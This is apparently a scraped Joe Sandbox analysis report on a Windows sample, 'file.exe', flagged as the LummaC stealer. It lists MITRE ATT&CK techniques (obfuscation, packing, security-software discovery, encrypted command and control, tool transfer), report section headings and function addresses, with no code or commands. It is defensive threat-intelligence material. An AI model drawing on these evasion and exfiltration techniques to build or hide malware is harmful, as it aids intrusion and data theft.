Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Boot Survival

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTPS Proxied Packets

Windows Analysis Report
file.exe

Function 003FFCA0 Relevance: 5.4, Strings: 4, Instructions: 373
COMMON

Function 003FD110 Relevance: 1.7, APIs: 1, Instructions: 168
COMMON

Function 00435700 Relevance: 1.6, APIs: 1, Instructions: 69
memoryCOMMON

Function 00435BB0 Relevance: 1.5, APIs: 1, Instructions: 14
libraryCOMMON

Function 0043695B Relevance: 1.4, Strings: 1, Instructions: 100
COMMON

Function 0040049B Relevance: .3, Instructions: 264
COMMON

Function 00400228 Relevance: .2, Instructions: 218
COMMON

Function 00433220 Relevance: 1.6, APIs: 1, Instructions: 59
memoryCOMMON

Function 00433202 Relevance: 1.5, APIs: 1, Instructions: 6
memoryCOMMON